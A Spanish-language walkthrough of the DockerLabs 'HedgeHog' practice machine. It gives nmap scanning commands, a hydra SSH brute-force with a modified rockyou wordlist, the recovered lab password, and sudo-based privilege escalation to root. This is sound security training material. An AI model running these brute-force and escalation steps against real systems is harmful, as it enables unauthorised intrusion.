> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/hedgehog.md).

# HedgeHog

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **HedgeHog** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:

```bash
7z x hedgehog.zip
```

<figure><img src="/files/scEMxBBuhFlGDyltWkEQ" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para desplegar la máquina en Docker:

```bash
bash auto_deploy.sh hedgehog.tar
```

<figure><img src="/files/uLAFxbwfG0kweqBQ563m" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Comprobamos la conectividad con la máquina objetivo mediante el comando `ping`:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="/files/VnHwsczieiv3gfVtyo6I" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/LzoibIHeKI1dmo44uOAi" alt=""><figcaption></figcaption></figure>

**3. Escaneo de Servicios y Versiones:**

Para obtener más detalles sobre los servicios **SSH** y **HTTP**, vamos a realizar un escaneo más exhaustivo de los puertos **22** y **80**:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.

<figure><img src="/files/jx496cU2N20KldkAdJPL" alt=""><figcaption></figcaption></figure>

**4. Análisis del Servicio HTTP:**

Al acceder al puerto 80 desde un navegador (`http://172.17.0.2`), podemos observar un nombre de usuario potencial `tails`.

<figure><img src="/files/MArTJAT8waIoDss3j72J" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Fuerza Bruta sobre SSH:**

Utilizamos la herramienta `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH. Para mejorar la eficacia, invertimos el diccionario `rockyou.txt` y eliminamos los espacios iniciales. Estas acciones las podemos realizar ejecutando los siguientes comandos:

```bash
tac /usr/share/wordlists/rockyou.txt > rockyou_invertido.txt
```

```bash
sed -i 's/ //g' rockyou_invertido.txt
```

<figure><img src="/files/W7Wkc9fUyo0YufR9cjiN" alt=""><figcaption></figcaption></figure>

Ataque con `hydra`:

```bash
hydra -l tails -P rockyou_invertido.txt 172.17.0.2 ssh
```

**Resultado:** La contraseña para el usuario `tails` es `3117548331`.

<figure><img src="/files/kkqiRXeCirQffyAKMPqr" alt=""><figcaption></figcaption></figure>

**2. Acceso por SSH:**

Iniciamos sesión en la máquina con las credenciales obtenidas:

```bash
ssh tails@172.17.0.2
```

<figure><img src="/files/o49NjtqF5wGvTOxcHzdA" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Verificación de Permisos Sudo:**

Comprobamos los permisos del usuario actual con:

```bash
sudo -l
```

**Resultado:**

```bash
(sonic) NOPASSWD: ALL
```

El usuario `tails` puede ejecutar cualquier comando como el usuario `sonic` sin proporcionar contraseña.

<figure><img src="/files/k4jL3TyxRZLOdyeJbQCk" alt=""><figcaption></figcaption></figure>

**2. Escalada al Usuario Sonic:**

Ejecutamos el siguiente comando para obtener una shell como el usuario `sonic`:

```bash
sudo -u sonic /bin/bash
```

<figure><img src="/files/Ks1l7mMRkf0Rd2IffTKO" alt=""><figcaption></figcaption></figure>

**3. Verificación de Permisos como Sonic:**

Volvemos a ejecutar `sudo -l` para verificar permisos.

**Resultado:**

```bash
(ALL) NOPASSWD: ALL
```

El usuario `sonic` puede ejecutar cualquier comando como `root` sin proporcionar contraseña.

<figure><img src="/files/sijVqAoI3GJoRbhC6t9R" alt=""><figcaption></figcaption></figure>

**4. Escalada a Root:**

Ejecutamos el siguiente comando para obtener una shell como el usuario `root`:

```bash
sudo -u root /bin/bash
```

<figure><img src="/files/CBFhtYyyGSRbWTWbrOif" alt=""><figcaption></figcaption></figure>
